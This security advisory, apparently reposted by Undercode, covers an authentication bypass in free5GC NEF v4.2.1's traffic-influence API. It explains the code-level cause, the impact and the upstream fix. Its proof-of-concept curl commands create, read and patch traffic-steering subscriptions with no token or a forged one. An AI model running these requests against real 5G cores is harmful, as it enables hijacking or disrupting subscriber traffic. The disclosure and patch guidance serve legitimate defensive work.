Listen to this Post
The vulnerability exists because the NEF (Network Exposure Function) in free5GC v4.2.1 mounts the 3gpp‑traffic‑influence API endpoint without any inbound OAuth2/bearer‑token authorization. Even when the NRF announces that OAuth2 is enabled and the NEF’s `ServiceList` configuration only contains `nnef‑pfdmanagement` and nnef‑oam, the traffic‑influence route group is still mounted and reachable. This happens because the code does not attach any authentication middleware to that route group – the routes are directly exposed in `NFs/nef/internal/sbi/server.go:48` without any token validation. As a result, an attacker who can reach the NEF on the SBI network can send requests with no `Authorization` header at all, or with a completely forged bearer token (e.g. Authorization: Bearer not‑a‑real‑token), and those requests will still be processed by the business logic.
The exposed CRUD endpoints (/‹afID›/subscriptions and /‹afID›/subscriptions/‹subID›) can be used to create, read, patch, and delete traffic‑influence subscriptions. This includes creating `anyUeInd=true` subscriptions that are intended to affect group or any‑UE traffic steering. The business handlers in `NFs/nef/internal/sbi/processor/ti.go` (lines 50, 279, 355) directly process these requests without any inbound authorization check – the NEF context only provides an outbound token acquisition function (GetTokenCtx) but no inbound verification. Furthermore, the route group is mounted regardless of whether `3gpp‑traffic‑influence` is declared in the ServiceList, so operators who think they have disabled the service via configuration remain fully exposed. Proof‑of‑concept curl commands against a running NEF container (e.g. at http://10.100.200.19:8000`) succeed with HTTP 201, 200, 500, or 204 responses instead of the required 401/403, confirming that the absence of inbound OAuth2 is the root cause.
Platform: free5GC NEF Version: v4.2.1 Vulnerability: Missing Inbound OAuth2 Severity: Critical date: 2026-03-11 Prediction: Patch by Mar 11 2026
<h2 style="color: blue;">What Undercode Say:</h2>
Verify that OAuth2 is enabled and that the ServiceList does NOT contain 3gpp-traffic-influence
docker logs --tail 5000 nef 2>&1 | grep -E 'OAuth2 setting receive from NRF|ServiceList|nnef-pfdmanagement|nnef-oam'
Create a subscription with NO Authorization header (should be 401, but gets 201)
curl -i -X POST \
-H 'Content-Type: application/json' \
--data '{"afServiceId":"svc-noauth","afAppId":"app-noauth","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.40 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-noauth","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions
Create another with a forged token (should be 401, but gets 201)
curl -i -X POST \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"afServiceId":"svc-high","afAppId":"app-high","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc","routeInfo":{"ipv4Addr":"10.60.0.2","portNumber":0}}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions
Read the subscription with the forged token (200 instead of 401)
curl -i -H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
Attempt to patch it (request reaches UDR/PCF instead of being rejected)
curl -i -X PATCH \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc-updated"}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
<h2 style="color: blue;">How Exploit:</h2>
An attacker with network access to the NEF’s SBI endpoint (e.g. inside the same data‑center or a compromised adjacent network) can send simple HTTP requests to the `3gpp‑traffic‑influence` routes. Because no token or a completely invalid token is accepted, the attacker can arbitrarily create, modify, read, and delete traffic‑steering policies. This includes setting `anyUeInd=true` to affect all UEs, potentially redirecting traffic to attacker‑controlled DNAIs and routing endpoints (via SMF/UPF).
<h2 style="color: blue;">Protection from this CVE:</h2>
Apply the upstream fix from [free5gc/nef23](https://github.com/free5gc/nef/pull/23), which:
- adds a `RouterAuthorizationCheck` middleware that calls `oauth.VerifyOAuth` before processing any request,
- mounts routes conditionally based on the `ServiceList` entry and attaches per‑group OAuth2 middleware,
- includes `3gpp‑traffic‑influence` in the validated service list (in `config.go` andnefcfg.yaml`).
Until the patch can be deployed, operators must block network access to the NEF’s SBI port from any untrusted source, or place the NEF behind a reverse proxy that enforces bearer token validation before forwarding requests.
Impact:
CWE‑306 (Missing Authentication for Critical Function) and CWE‑862 (Missing Authorization). Any party that can reach the NEF on the SBI network can:
– Create attacker‑controlled traffic‑influence subscriptions (including `anyUeInd=true` group/any‑UE subscriptions), redirecting AF traffic to attacker‑chosen DNAIs and routing endpoints.
– Read existing AF subscriptions, leaking sensitive traffic‑steering policy data (including SUPIs, DNNs, S‑NSSAIs, and callback URIs).
– Patch existing subscriptions, modifying live traffic‑steering decisions for legitimate AFs.
– Delete subscriptions, causing denial of service for legitimately provisioned traffic influence.
The route group is reachable even when the runtime `ServiceList` does not declare it, so operators who rely on `ServiceList` to disable the service are given a false sense of security. This is the highest‑impact NEF service exposure observed because it enables unauthenticated state changes on traffic‑steering policy objects rather than mere read‑only exposure.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
